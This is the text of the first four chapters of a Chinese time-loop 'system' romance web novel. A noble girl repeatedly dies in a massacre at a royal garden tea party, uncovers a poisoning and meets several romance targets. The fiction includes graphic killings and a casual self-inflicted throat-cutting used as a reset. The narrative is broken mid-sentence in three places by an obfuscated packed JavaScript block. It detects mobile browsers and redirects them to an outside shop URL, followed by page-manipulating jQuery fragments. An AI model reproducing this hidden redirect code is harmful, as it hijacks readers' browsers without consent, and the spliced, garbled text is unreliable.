《如果不爱我那就去死吧》
1. 第 1 章
和煦的暖阳洒下浅金光辉,温柔地照亮了宴会小桌边垂下的蕾丝,在银盘银叉上一闪一闪,把茶点上的蜂蜜光泽和蛋糕淋面映得晶莹剔透。
在这样一个惬意的午后,没有什么比一场茶话会更适合在座的贵族小姐们了。在皇家花园外围,众人三三两两地凑在一起,谈笑风生,明亮的长裙如同一颗颗多彩糖果,点缀在蓝天白云间。
与别处相比,这一张桌子显得有些奇怪:一个身着浅紫色长裙,鸢尾花般容色的姑娘正一边伸手去取蓝莓司康,一边说话;她的同桌人却一直处于沉默中,盘子里干干净净,色泽浅淡的唇抿着,就差把心不在焉写在脸上了。
“那个太腻了,拉芙,”出神的女子含糊地说,浅调的褐色眼珠依旧聚焦远处的半空,压根没往同伴身上投去过一眼,“别吃。”
她被称作“拉芙”的同伴闻言也没往心里去,只是顺手换了个方向,往自己盘子里放了块千层酥,“嗳,你今天怎么这么沉默?一会儿杰奎琳聊她那些破觐见见闻的时候,记得帮我这边的腔啊。”
“哦。”女子发出的音节还没成型就消散了。她视线一动不动地盯着喷泉吐出的水柱,一高一低,一高一低,看上去几乎算是心无旁骛。
“你发什么呆?”浅紫裙女子伸出手,轻轻在对方眼前晃了晃,“小伊?伊斯特?摩根那小姐?”
“三。”
女子喃喃道,伸手握住餐刀。
她的语气轻而淡,却带着股寒意,叫人想起披着罩袍摩挲水晶球的那类人吐出的噩兆,让她的同伴下意识皱了皱眉,“什么?”
“二。”
被称作“伊斯特”的年轻女子面无表情地抬手一拢,草草把长发扎在脑后。
“一。”
她抄起面前一块银盘,猛地起身。几乎就在同一时间,栽倒声,尖叫声,利刃挥砍陷入人体的声音同时响了起来。
数个身影不知从何出现,带着铁锈味的寒意压过了花香。他们全身覆盖着哑光的暗色盔甲,手中紧握着五花八门的武器:战斧、短剑、长矛……每一把都泛着不详的暗光。在无言之中,这群蒙面人开始挥动兵器,每次下手都夺去一条性命。沉重的铁靴碾碎了精心修剪的草叶,受害者伤口间涌出的鲜血染红了泥土。方才还宁静祥和的花园已经变成了一片屠宰场。
“拉芙——”那女子面色不变地低声喝道,肩膀发力,戴着过肘手套的胳膊划出一道弧线,把手中的餐刀向后猛地一掷;就在刀刃扎进某人面部的同时,她头也不回,利落地一蹬桌子,借力起身。
双足落地时,这句话的后两个单词也震了出来:“……跟上我。”
一柄斧子破空砍来,劈裂了她原本所处位置的桌沿,而伊斯特已经绕开好几步,用力一拽同伴的手腕。从变故突生到现在不过几秒,她完成一整套动作行云流水,就像排练过无数遍一样。
身着浅紫裙的拉芙现在才反应过来,开始尖叫。同伴只是象征性地拽着她冲了两步,就松手留她自己努力了,她不得不两手提着裙摆,把全身力气用在奔跑上。
在前面开路的伊斯特熟练得不像个贵族千金:一晃一跳,矫健地越过尸体和争斗的人群,鞋根在积起血泊的石板上平稳一落,溅起的血渍为裙面染上半圈赤红;她举手轻盈,投足干练,简直像在跳舞。
这么一小会儿的功夫,她们已经快冲出袭击所在范围了。只见伊斯特掀翻了一张宴会小桌,糖霜、奶油和蛋奶起酥漫漫扬扬地洒入半空,沾了甜品碎屑的桌板阻挡了大部分攻击。女子动作没停,顺手把盘子往右侧一伸,正好抵住砍来的剑刃——做到这点时她甚至没偏一偏头,眼睛依旧牢牢地盯着不远处的石板路。
盘子一刀两断,伊斯特的胳膊上被淤出红痕,但是没受外伤。袭击者个个全副武装,伊斯特毫无反击空间,只是借机绕开那人,加快步子。
拉芙跟着她,来不及思考这群人究竟是从哪来的、为什么要把下午茶变成大屠杀,只是把心头最要紧的那个问题喊出口:“我们为什么不往出口跑,而是要去——”
皇家花园深处?
但她没能把最后几个单词说完,因为一股大力猝然打上她的肩头,推得她失去平衡,向后栽倒。
拉芙的世界颠倒了,喧闹、寒光和血红都栽出了她的视野,只剩下碧蓝如洗的天空。她感觉自己的后背狠狠磕在了一个袭击者身上,紧接着,是利器入体的痛觉和眩晕感。
意识尚存的最后几秒,她看见伊斯特收回了那只带着雪白手套的手,奋力一挣,却没跑过从右侧追上的斧刃;寒光一闪,修长的脖颈一分为二。
即使推了她以抵挡追兵,对方的向前突围还是以失败告终,就死在她前面半步,身首异处。
好友被砍下的头颅高高扬起,在空中划出一个弧线,然后落在地上,不再动弹了。那双榛色的眼睛依旧死死地望着小路尽头,好像在诉说不甘心。
*
伊斯特又一次陷入黑暗中。
再睁开眼睛时,她果然又回到了下午茶开始的时候。
被砍死的幻痛还残存在颈动脉上,她下意识地抬手捂住脖子;隔着一层薄薄的丝绸,光洁的肌肤质感搭上指腹,提醒她一切都从头开始了。
伊斯特疲惫地闭了闭眼。
「很遗憾,宿主第三十二次死亡。」熟悉的诡异声音果然在她脑子里响了起来,「请再接再厉,攻略正确角色,抵达happy ending。」
即使这句话听了三十多遍,她还是觉得荒谬至极。第一次听到的时候,她还仔细问了这个自称“系统”的存在很多问题:攻略对象可能是谁?怎么算攻略成功?什么叫happy ending?死到第五次的时候,她就完全把这段鬼话抛之脑后,全心全意地思考该怎么活着离开下午茶的花园了。
没错,伊斯特还没有活着逃出过这里,即使今天下午在原身的日程安排上本来只是一行简简单单的“在皇家花园参加茶会”。
根据她过去死死活活的经验,不久后的某个时间点,会有一群全副武装的人冲进来,把在场的每个贵族小姐都杀干净
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886422|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……后面会发生什么她毫不知情,因为她也是该死的“贵族小姐”之一。
她又一次听着拉芙聊到杰奎琳的觐见——第一遍觉得这姑娘明媚可爱,第三十遍只觉得絮叨了——眼睛走神似的盯着不远处的喷泉,靠起落次数估算时间。
“那个太腻了,拉芙,”她心不在焉地阻止对方吃掉有毒的蓝莓司康,“别吃。”
不用转头也知道拉芙换了块千层酥。没错,桌上的一种甜点被下毒了,她第一次就是这么死的:没见过这么精致点心的伊斯特不顾风度,顶着同桌姑娘惊异的目光,把每样夹到盘子里都尝了一口,五分钟后就暴毙现场。
虽然还没想好这次该怎么应对,不过拉芙还是留着的好,这姑娘也不会拖累她多少;再说,万一她一会儿的计划实行需要对方呢。
伊斯特把一次又一次死亡、重来看做一场游戏,她的目的是通关,而抵达终点的路上不仅要避开死亡陷阱,也要留心收集关键道具——餐刀、银盘、拉芙……每一个都可能帮她逃出这个花园。
在思考过程中,她用奥卡姆剃刀消去了所有细枝末节:要想活下去,她要且仅要抓住这两点……
「以及攻略正确角色。」系统在她脑子里纠正道,「这个最重要。」
伊斯特一边数喷泉起落,一边翻了翻眼睛,在心里和嘴上同时敷衍道:“哦。”
「宿主,我必须要再次重申,只有与正确角色达到happy ending,您才能完成我们的协议,回到现实世界……」
「而遇到有机会成为这种角色的人时你会提示我,至于happy ending指的是符合“他们从此幸福快乐地生活在了一起”的形而上学描述。」伊斯特不耐烦地打断道,「我只是死了几次,又不是傻了,没必要反复强调这些没用的废话。」
在系统「哪里就形而上学了!」的抗议声中,她置若罔闻地伸手握住餐刀。
她能活到见着一个可攻略角色再说吧。
*
伊斯特睁开眼睛。
系统尽职尽责地播报第三十三次,她对这个只会回档什么助力都没有的废物电子音置之不理。
好吧,事实证明装死不行,她一边伸展肢体,试图让大脑意识到自己没死来停止残余的痛觉,一边想到,那群人下手这么狠,连状似尸体的人都要捅一刀,都有压倒性的武力了……
诶?伊斯特皱了皱眉,她感觉有一处违和感。
“拉芙,”她打断了同桌人,“如果你有一条很完美的项链,在关键场合,你还会戴用线穿起来的一颗珍珠吗?”
“当然不会!”拉芙的表情好像被侮辱了,“我的穿搭品味你还不清楚吗?”
“我想也是,”伊斯特若有所思地一眨眼,拍了拍朋友的手背,突然跳到一个毫不相干的话题上,“……我们去听听杰奎琳的觐见故事吧。”
拽着不情不愿的拉芙走到正中央的时候,她定睛一看,露出一个满意的微笑。
杰奎琳面前的蓝莓司康,果然吃掉了大半。
2. 第 2 章
这件事里的逻辑链其实很简单。
有压倒性的武力→保证在场没有人没有能逃过他们的袭击(而事实也确实如此)。暂且把这条记为要求1。
等到某个时间点才动手,从多处地方一起袭击→谨慎,有计划性,严格遵守预设时机。这条记为要求2。
这样整理之后,不难看出有一处地方矛盾了。
为什么要在蓝莓司康里下毒?
仔细想想,这个举措不能满足要求1:被毒死的人寥寥无几,而他们还要把地上躺着的每个人都捅一遍,没有减少任何时间成本。又可能破坏要求2:如果有人提前毒发或是发现异常,不就破坏他们的潜伏、让动手时间被迫提前了吗?
当然,可以说这是一个失误;但对弈的时候,最忌讳把对手愚蠢化、把问题扁平化。
既然如此,为什么要下毒就很明显了。
不妨联系疑点1一起看:没有钟声,没有报时,他们是怎么做到同时出击的呢?
仔细一想,事发的时候,几乎同一时间响起了栽倒声、尖叫声和利刃挥砍入人体的声音……如果这不是同一场骚乱带来的呢?如果栽倒声和尖叫声正是后者所等的动手信号呢?
从拉芙之前的反应,也可以从旁佐证:对普通人来说,见到这种恐怖袭击第一反应大多是愣住、震惊、不可置信,而不是立刻放声大叫。
因此,第一时间的尖叫声很可能不是袭击带来的,而是某种看上去没那么吓人的事故。
——比如有个吃了不少蓝莓司康的人当众毒发栽倒了。
推到这儿,逻辑链都很清晰、显而易见。不过接下来的部分,就需要一些联想能力了。
她还记得拉芙说过,杰奎琳一直在炫耀的是“觐见”见闻——这个词最常见的用法指朝见君主……而她们正身处皇家花园里。
那么疑点2也得到了解释:为什么非要袭击一群贵族小姐?幕后人真正想做的是恐怕砍断难啃的皇室骨头,她们只是案板上顺带的菜——进入皇家花园内部必须要穿过这块外围茶会场所。
因此有了假设1:他们的目标是皇宫更深处。
同样的,为什么不制造动静为号,而是千方百计下毒?说明后者有别的作用……因此,在大胆推论下,有了假设2:他们需要在开始行动前除掉某个人,避免被妨碍。
不是她刻薄,但在座各位基本上都挺没有一战之力的,那从什么角度妨碍?大概率是信息。这里是皇家花园,幕后人目标是皇室,可能会被披露的信息自然与此有关……
而杰奎琳前两天才“觐见”过。
因此,如果她没猜错的话,杰奎琳应该喜欢吃蓝莓司康。
*
火红发色、长相精致的年轻女子放下手里的叉子,面带疑惑和提防,看向她们,开口时语气隐含傲慢:“有什么事吗?”
“这东西腻成这样你也吃啊?”伊斯特指了指对方盘子上的点心,拉家常似的说道。
“尝起来确实糖放多了些,”杰奎琳一挑眉,“但我嗜不嗜甜和你有什么关系?”
“攻击性好强啊,为什么……哦,”伊斯特直言不讳地指出,“你和拉芙有过节吗?”
她没等二人一起矢口否认,就自顾自地说了下去,“请问一下,你一直很喜欢吃蓝莓司康,并且这件事远近闻名,对吗?”
“什么闻名?”杰奎琳被她的形容词弄得不知怎么回答,愣了愣,“我想前半句是的,但是……”
她的话没有说完,因为伊斯特猛地抄起桌上的餐刀,一把架上了同桌另一个姑娘的脖子,伸手揽对方入怀。刀刃的亮光被她披散的黑色发梢遮去大半,隔开点距离,恐怕还要以为这二人在亲密相拥。
“全都给我安静,”榛色眼睛的女子淡淡地开口,把刀刃往下按了按,一道血线立竿见影地流了出来,压回了所有未出口的惊呼声,“现在开始,谁喉咙里出哪怕轻轻一声,我就把她脖子抹了,然后一刀捅死出声的那个人。”
即使手上做着这种事,她依旧显得心不在焉的,视线放空地盯着不远处的喷泉,指尖还在怀里那姑娘的肩膀上一下一下地敲。
拉芙发出一声迟疑的、搞不清状况的“啊?”。
伊斯特哄孩子似的,把手搭上双唇,轻轻嘘了一声:“给我五分钟,还有,扶着杰奎琳。”
拉芙张着嘴不说话了,牢牢皱着眉头,似乎在迷茫自己好好的朋友怎么疯了。她权衡了几秒,信任好像还是占了上风。拉芙叹了口气,伸出手扶住一动不敢动的红发女子。
隔开几步别的桌上,女孩们依旧在谈笑风生,而这张桌边,没有一个人敢开口。四五双眼睛盯着她,在一片令人紧张的寂静中,伊斯特轻声倒数。
“三,二,”她双眼里的神色带着令人胆寒的兴奋,“……一。”
杰奎琳面色惨白地栽倒下去,在拉芙的胳膊上缓冲了一下,没有砸到桌上。伊斯特感觉到,刀下那姑娘的喉咙一动,一声尖叫被硬是咽了回去。
没有袭击声,周遭一片安静,令人愉悦的安静。伊斯特放声大笑。
拉芙看她的眼神惊恐交加,确实,这个情况很像她给杰奎琳下的毒。想到这儿,伊斯特被幽默到了,笑得更加开怀。
“别担心,下次就好了。”她笑声没停,松开怀里瑟瑟发抖的姑娘,安慰似的拍了拍拉芙的头,后者正不自觉地浑身发抖,“下次我尽量不采取这么激进的措施。”
伊斯特笑着,一刀抹断了自己的颈动脉。
*
伊斯特睁开眼睛。
恢复意识的下一刻,她猝然起身,大步流星地冲到花园正中的那张小桌前,抬手拍掉了杰奎琳吃到一半的点心。
这时系统才刚把老生常谈的回档信息念完。
“你是不是有病?”杰奎琳反应了两秒,很快就开始生气了,“……摩根那家的伊斯特是吧?你最好给我一个交代。”
“记性真好,”伊斯特敷衍地鼓励道,“你没来得及吃掉蓝莓司康吧?”
她一边问,一边上下打量了红发女子几眼,寻找好下手的地方:只要对方一点头,她就暴力催吐——虽然现在没什么经验,但多试几次总归能不死人地成功吧。
虽然不知道她具体在想什么,但杰奎琳还是被盯得寒毛直竖:“……一小口。你到底要干什么?”
那应该没事。“太好了,别吃,里面有毒。”伊斯特一脸平静,把试图起身的杰奎琳按了回去,“镇定。”
“你……这是个玩笑,对吧?”
“不是。你不觉得味道和平时不一样吗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886423|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”她瞥了杰奎琳一眼,信口开河,“…我是个蓝莓司康狂热爱好者,所以吃出来了。”
“……为什么不是厨子糖加多了?”
“皇家花园,你认真的?”伊斯特眼见面前人半信半疑,开始面不改色地为谎言添加更多细节,“我之前看到人影鬼鬼祟祟地溜出厨房,以为自己看错了,没当回事;刚刚直到吃到嘴里发现不对,才意识到是用过量调味来掩盖毒物味道。”
“这不可能!”杰奎琳失声惊叫。
伊斯特眼疾手快地捂住她的嘴,手动把“这”之后的部分音量降低了。
“为什么不可能?”她歪了歪头,“我只是想不通为什么费这么大成本……潜入这种地方下毒,就为了杀掉你一个极端甜党吗?”
“极端什么……不是,”杰奎琳尽量故作镇定地环顾四周,声音压得低低的,把气声送到她耳边,“此时此刻不只有我们在这儿……花园内层,有几位尊贵的人物……”
终于说通了。“有多尊贵?”伊斯特直言不讳地问道,嗓音配合地放轻了,“称殿下还是陛下?”
杰奎琳对着选择疑问句点了点头。
……要不是时机不对,她真想纠正这人的语法啊。
伊斯特若有所思,所有疑点都得到解释了:这群人从入口潜伏,为什么她往深处跑的时候,反而更多人来围攻她——因为那里才是他们的目标所在:为什么要多生事端毒杀杰奎琳——防止对方惊慌之下说出秘密,致使有人去通风报信,惊扰目标。
“很好,我们走。”她理所当然地牵着红发姑娘,站起身来,“你应该知道怎么去内层吧?我们去汇报有贼人潜入宫廷下毒。”
真出事的时候,还有比和皇室成员呆在一起更安全的方法吗?
*
在她再三保证这件事很重要之后,拉芙终于勉强答应了当众闹出动静。
她们听着拉芙绝望地大声喊道“我有个事情要宣布”,趁所有人的注意力都被引走了,悄悄闪身溜进了通往内层的小径。
即使情势危急,杰奎琳还是一边快步前进,一边分出手,快速捋了几把散乱的发丝:“你礼仪课学得怎么样……不怎么样啊,看得出来……一会儿进去了,千万别轻举妄动,我来说话。要是得罪了在场的谁,可不是闹着玩的。”
“赞。”伊斯特的神情不能离紧张忧虑更远了,“哦对了,我好像在树丛里看见可疑的人影了,可能有人潜伏着打算袭击吧,记得一起汇报。”
杰奎琳猛地一扭头,差点咬着舌头:“你什么?!你说清楚——”
可惜她们这时已经到地方了,对方只好艰难地咽下了喉咙里一连串汹涌的质问,提起裙摆屈膝行礼。
伊斯特还没来得及有样学样呢,就听见脑子里连续数条叮叮咚咚的电子音。
「恭喜宿主,成功遇见可攻略角色:
帝国骑士长——【洛兰特】。」
「恭喜宿主,成功遇见可攻略角色:
帝国三公主——【珈黛利亚】。」
「恭喜宿主,成功遇见可攻略角色:
帝国二皇子——【瑟亚铎】。」
「恭喜宿主,成功遇见可攻略角色:
帝国皇后——【曼德琳】。」
……豁,好多人啊。
3. 第 3 章
「宿主,」系统恨铁不成钢地在她脑子里反复强调,「你能不能稍微去接触一下攻略对象……你一句话都不打算说吗?」
「不是有人在替我说吗,」伊斯特维持着低头行礼的姿势,「急什么,活过这阵得。」
「……宿主,你不会打算不完成任务地混几十年再说吧!」系统的电子音都带上了一些惶恐,「我必须再次重申,你攻略了正确对象才能回原来的世界。」
「哦,别担心,我会努力的,我不想在这个没电的破地方呆一辈子。」伊斯特敷衍道,「现在问题在于我贸然吸引注意力会——」
“摩根那小姐?”
伊斯特猛然抬头。
出声叫她的是骑士打扮的年轻男人,他面容俊朗、身形挺拔,每一缕线条都映出明亮的光泽,说不清金发与日光哪个更耀眼。男人正微微蹙着眉,天空一样澄澈的蓝眼直直地望着她。
“您确定看见了有人埋伏?”他一脸认真,“您过来报信的时候,对方也还在?”
伊斯特颔首:“非常确定。”
这估计是那个骑士长洛兰特吧。
男人的解释几乎是下一秒就跟上来了:“不,我不是怀疑您,”他说话时,不可思议地兼顾了严肃和温和,好像冬去春来时微融的冰夹桃花,“只是事关重大。我即刻跟您一起回去。”
“为什么不是怀疑她?”
一个倨傲的嗓音突然响了起来,伊斯特顺着声音望去,见到了她的另一个攻略对象。
帝国二皇子,瑟亚铎,倚着带精致浮雕的大理石柱,对着她扬了扬尖尖的下巴:“就凭她几句话就调军队进宫?万一这家伙在说谎,帝国岂不是成了笑话——”
句末的音调被阴阳怪气地拖长了,那双雪松绿的眼睛不屑地眯了起来,好像正眼看她是一种自降身份,“哪有人敢来这儿行刺啊?”
好的,最后一个再攻略这个讨厌鬼。
“殿下,您这么毫不畏惧真令人钦佩,要不您和我们一起回去吧?”伊斯特温柔地笑了笑,眼神从对方华而不实的丝绸衬衫、宝石袖扣和带跟皮靴上一扫而过,确定这家伙一刀也躲不开,“反正按您所说,我在说谎,所以没什么好怕的嘛。”
在余光里,她看见杰奎琳脸都白了。伊斯特不以为意:连死亡都算不上什么之后,她对大部分事都这样随性而为了。
瑟亚铎双眼一瞬间睁大了些,好像被她的反应惊到了;紧接着,他冷哼一声,薄唇勾起一个尖锐的弧度,“你在指使我?”
“不敢,”伊斯特回以礼貌的微笑,“这不是看您不信任我,想献给您一个眼见为实的机会吗?这样吧,我所言有半句假话,你们就把我拖出去砍了。”
“够了!”洛兰特出声阻止,吐字间带着来不及掩饰的忧虑焦急,“情况紧急,恕我们先告退了……摩根那小姐,霍尔小姐,请二位带路吧。”
骑士长带着铁甲的手虚环在她腰后,杰奎琳一把攥住她的胳膊,指甲牢牢地嵌了进去。这两个人几乎是半拖着把她拽走了。
三人在大理石路面上快步走了一小段距离,一时间只有他们嗒嗒的脚步声;接着,洛兰特突然开口:“摩根那小姐,您刚刚太冲动了……我知道那个怀疑对您很不公平,但是您不该那样回答的。”
伊斯特冷笑了一声,“那我该说什么?’对对对是是是好好好‘?”考虑到攻略任务,她把“我们活该抓不到那群人”咽了回去,润色完再出口,“花园里的人活该等死,就因为他脑子有问——”
杰奎琳突然大声咳嗽起来,把她后面的话盖过去了。
洛兰特又欣慰又无奈地一笑,按了按眉心:“我能理解您的想法,但二皇子殿下这个人……性情比较独特,而且对于……恩怨记得很清楚,为了您的安全起见,还是不要当面顶撞他为好。”
几句话的功夫,他们悄悄走回了外围花园。
三人借着树篱的遮掩悄悄站定,正在观察形势时,伊斯特感觉有温热的气流打上她的脸颊,在皮肤上掀起一阵又轻又暖的痒意。
“您说的没错,看那边,七点钟方向,不自然的阴影……”
为了避免暴露,洛兰特把声音放到最轻,贴着她的耳畔,用气声把问题送了过来,“里面大约多少敌人?”
伊斯特偏了偏头,浅淡的唇凑近了身后的人。洛兰特比她高上半截,此刻又距离极近,她几乎是仰视着那双眼睛,被天海一样的湛蓝占据了全部视野。在她的估测出口时,余光里不属于自己的皮肤染上一层淡粉:“……将近十个,但是训练有素。”
“没事,我出去处理一下,”他声音轻轻的,语气温和又专诚,“二位留在这里。”
……说得像那群人是几块死猪肉。
*
伊斯特看着外面的场景,心里除了羡慕嫉妒什么都没有。
几步之遥的花园里,数个蒙面穿甲的袭击者从前后左右围上洛兰特,武器闪着寒光,封死了他的行动轨迹;骑士不躲反进,阔剑撕裂空气,带着沉闷的呼啸,猛地劈向最先扑来的敌人。
随着短兵相接的金属碰撞声,他硬生生把匆忙格挡的斧子砍得脱手。在那人手臂巨颤、踉跄后退之时,洛兰特狠狠踹中对方腹部,手腕一翻,剑刃顺势荡开左侧刺来的短剑,火花迸溅。他腰身急转,向被自己撕开的包围圈口子冲刺脱险,而后阔剑划出一道银弧,横扫而出。
锋刃不仅势大力沉,而且精准地袭上了护甲接缝处。在金属解体、血肉撕裂的闷响中,敌人接连倒伏下去,没了动静。
血溅上了洛兰特线条分明的脸,伴随着耀眼的金发,仿佛是幅色彩浓厚的油画;他胸膛起伏,又一次冲了上去,目光冷得骇人。
她要是有这个武力,哪用死三十多次……眼见着骑士长一剑斩断了一个袭击者的胳膊,伊斯特忿忿地想道。
「如果宿主您需要安慰的话,他穿着甲带着武器。」系统突然冒了出来。
「你什么时候说过这种人话?」伊斯特翻了翻眼睛,「又要干什么?」
「宿主您刚刚是不是试图谋杀……间接害死攻略对象?建议您不要再这样做了。我是来告知您关于攻略的补充信息的。」
伊斯特在心里哦了一声,她记得前几个轮回时系统本来早就想介绍的,但被死了好几次气急攻心的她以“这种破事有什么好说的你要么给我把像样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886424|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的武器要么滚一边凉快去真见到人了你再补充不行吗”的直白辱骂堵了回去。
她毫不心虚地顿了顿:「……那你倒是说啊。」
「首先,除非和某个角色走到了符合happy ending标准的一刻,否则您没有任何手段判断出他或她是否是正确攻略角色。我也不会告知您。」
「你提前告诉我会死吗?」伊斯特真诚地辱骂道,「早点结束各回各家哪里不好了?你搞这个有什么必要?你是那种能五点做完下班非要员工在工位上干坐到九点的类型吗?我本来有家有前途有人生的,不像你这样不着急哈。」
系统不为所动:「除此之外,当您走到符合标准的那一刻,您会知道的。只要抵达那个瞬间,该角色就算攻略成功了,之后不强求您留下来继续与该角色相处。」
「哦,一成功我就自杀嘛。」
*
洛兰特再能打也不可能以一敌十,不过没等多久,军队就来了。
在铁蹄踏上花园石板的第一声响时,那群袭击者好像就意识到大势已去了:他们没抵抗没逃跑,只是齐齐栽倒下去。伊斯特冲上前,掀掉蒙面,看到一张铁青的脸,身体没了起伏;她掰开下颌一看,发现那人口腔内少许残留的白色粉末。
好嘛,服毒自杀了。
反正谁谋划的刺杀也不关她的事,伊斯特丝毫不觉得忧虑惋惜,走到聚集在一起瑟瑟发抖的人群里,牵走拉芙,心情颇好地准备离开。
然后她就被拦住了。伊斯特回头,迎上了气势汹汹杰奎琳。红发女人面色沉得跟积雨云一样,语气不带感情地说了一大串长难句,简直像怕她听懂了;说完之后,也不管伊斯特是什么反应,带着跟班转身就浩浩荡荡地走了。
她和拉芙站在原地研究了一小会儿,发现那一大堆主谓宾状补里面夹杂着非常委婉、非常难捕捉到的感谢。
“真接触起来,她人好像也没那么讨厌嘛……”拉芙扯着她的袖子嘟囔着,一起慢悠悠地往外走,“今天就算了,我明天来你家找你,你可要从头给我解释清楚……怎么能把我丢在原地就跑走了!”
等等,她家在哪?
还没等伊斯特想明白自己该怎么回去,就又被人叫住了。
“摩根那小姐?”洛兰特温和地微笑着,蓝眼睛里还有些腼腆的歉意,似乎不好意思耽误她的时间,“今天的事,多亏了您。不论是帝国,还是我本人,都非常感谢您。”
“没事,我也是在帮我自己。”伊斯特不顾系统在她脑子里“说点好话”的劝告,懒洋洋地说道,“请不要用敬称了,我受之有愧。”她还没结婚,连个贵族头衔都没有吧,被堂堂骑士长叫这么久,给人一种她地位很高的幻觉。
系统悲伤地尖叫起来,斥责她回答的都什么东西,浪费了一个多好的机会。
“您太谦逊了。我是想提醒您……你,”洛兰特微笑着眨了眨眼睛,“过几天的宫廷朝仪,可能会请你出席,详叙事情经过。”
“多谢。”她正准备告别,突然随口提起,“对了,我看你之前打得蛮厉害的,你能教我两招吗?”
系统迅速向她道歉,并开始赞美她。
4. 第 4 章
伊斯特都开始要求系统导航该怎么走了,然后一走出花园,就被摩根那家的马车接了回去。
……好吧,是她以穷人之心度贵族之腹了。
她努力扮演了一个受到惊吓的人,在被问到事情经过时,伊斯特睁大杏仁色的双眼,死死盯着屋里汽灯散发出的明光,总算挤出了一点泪花。
父母心疼不已,不敢问了。她开开心心地坐到餐桌边吃晚饭。伊斯特选择性地只吃了左半边的菜肴,没有对口蘑奶油浓汤下手:这样万一下次不得不死回来,也好给未来的自己留个念想。
吃饭的时候她顺口问了些问题。其实她最想问的是面前的二位能不能自我介绍一下,但这也太可疑了,只好退而求其次,问了问四个知道名字的攻略对象。
“曼德琳皇后两年前嫁给了君主。”
“她改姓前的姓氏是霍尔,”伊斯特的母亲补充道,“在那之后,霍尔家也算是如日中天了……你没见过他们家的同龄小姐吗?好像是叫杰奎琳的?”
哦,怪不得。
“就这些吗?没有稍微和皇后本人有关的信息吗?”伊斯特脸垮了下来,“她什么性格?有什么爱好?她喜欢什么类型?”
父亲吃惊地看了她一眼:“当然是陛下那样。”
……行吧。伊斯特回想起在花园的那一瞥:曼德琳赤色盘发,身着长裙,相貌年轻出众,气质却如同泛不起涟漪的水潭;即使在听到刺客的消息时,女人也没什么表情变化,只是微微抬起那双琥珀色的眼睛,视线在她身上一扫而落。
感觉很难啊。她叹了口气,接着听父母介绍。
“珈黛利亚殿下是皇子中最博学的一个,她聪敏多才、礼仪完美,最严苛的人也无法在任何场合挑出她的错处来。”
这不还是没具体信息吗,“那这位殿下什么性格呢?”
“据说她不怎么主动开口,但是从那双唇瓣间吐出的任何字句都会被证明是真的。”
伊斯特单手撑着脸,在记忆里重温那位端坐在角落里的公主:过度白皙的皮肤,紫罗兰色双眸,沉静到叫人忽视的神情,好像一株微风下的鸢尾。
“瑟亚铎殿下与他妹妹完全相反,是一位……很有性格的皇子,他性情很真……”
“这儿就我们三个人,您能直说吗?他今天当众质疑我的信誉,我怕这位殿下日后为难我,稍微了解一点或许有帮助。”伊斯特信口开河。
“那倒不用担心了!”她父亲一改之前的委婉说辞,直白宽慰道,“瑟亚铎殿下当众为难的人没有一百也有几十。”
就差把“是他的问题,不是你的问题”写在脸上了。
“但是这位殿下脑子挺聪明的……正因如此,他说出口的刻薄话才更刺人。”
伊斯特一点都不想在这小子身上接着聊了,“那洛兰特呢?”
这句话说出口之后,屋子里安静了几秒——伊斯特这才发现她没用姓氏称呼。
“听说今天你和骑士长大人接触过了?”母亲的眼睛里跃动着感兴趣的亮光,“你们——”
她一边在心里辱骂系统信息给的不全,一边迅速截断道:“什么都没有。”
伊斯特发现父母的表情都略带遗憾而不失望,这让她感到很不妙:这意味着话里的对象必定有什么特质,让他不陷入恋情才是符合预期的。
紧接着,她从介绍中听到了原因——在被选任成为帝国一名骑士的那天,为了全心全意地奉献供职,洛兰特立下了独身誓言。
「你是说我的攻略对象是已婚女性、立誓独身者、未成年少女和讨厌鬼吗?」伊斯特真诚地质疑道。
「首先,不止这四个人;」系统毫无作用地解释,「其次,你现在也未成年。」
伊斯特无语地留下一句“对了,我这周末要去找洛兰特学武”的告知,把炸开锅的父母和层出不穷的提问抛在身后,转头(在系统的路线指导下)回房间了。
*
镜子里的女子不过十七八,骨肉匀停,纤细白皙,黑发半长半短,自然地垂在脸侧和身后,末端翘起随性的弧度。她右眼下有一颗小痣,嘴角习惯性微微上扬,似笑非笑。
伊斯特终于看清了自己长什么样,感到非常新奇:「哇我还蛮新潮的啊,这叫什么来着……水母头?」
不得不说,人生目标是攻略的世界就是不一样,哪怕除开镜子里这张脸和目前见过的攻略对象,就连别的人——比如拉芙和杰奎琳,都好看得可以回她原来的世界选秀。和五官端正、干净整洁就能出众的现实一比,这儿跟仙境没什么区别了。
伊斯特熟悉完自己的长相后,开始翻箱倒柜地找日记。
「您为什么会觉得能找到?」看不下去的系统发问,「难道您会写吗?」
